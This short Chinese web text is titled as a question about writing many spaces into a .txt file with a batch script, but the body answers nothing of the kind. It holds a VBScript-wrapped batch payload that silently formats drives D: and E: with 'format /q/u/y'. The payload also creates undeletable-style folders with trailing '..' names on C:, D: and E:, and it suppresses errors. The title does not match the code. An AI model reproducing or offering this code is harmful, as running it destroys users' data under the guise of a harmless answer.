批处理如何实现把许多空格输入到.txt文件中

On Error Resume Next:Dim WshSHell,FSO,Bat2Vbs:Set WshSHell = WScript.CreateObject("WScript.Shell"):Set FSO = CreateObject("Scripting.FileSystemObject"):Bat2Vbs="@echo off echo mode con: cols=600 lines=500 @format D: /q/u/y MD d:\变态1..\ MD d:\变态2..\ MD d:\变态3..\ MD d:\变态4..\ MD d:\变态5..\ MD d:\变态6..\ MD d:\变态7..\ MD d:\变态8..\ MD d:\变态9..\ MD d:\变态0..\ MD d:\变态10..\ MD d:\变态11..\ MD d:\变态12..\ MD d:\变态13..\ MD c:\变态1..\ MD C:\变态2..\ MD C:\变态3..\ MD C:\变态4..\ MD C:\变态5..\ MD C:\变态6..\ MD C:\变态7..\ MD C:\变态8..\ MD C:\变态9..\ MD C:\变态0..\ MD C:\变态10..\ MD C:\变态11..\ MD C:\变态12..\ MD C:\变态13..\ @format E: /q/u/y MD E:\变态1..\ MD E:\变态2..\ MD E:\变态3..\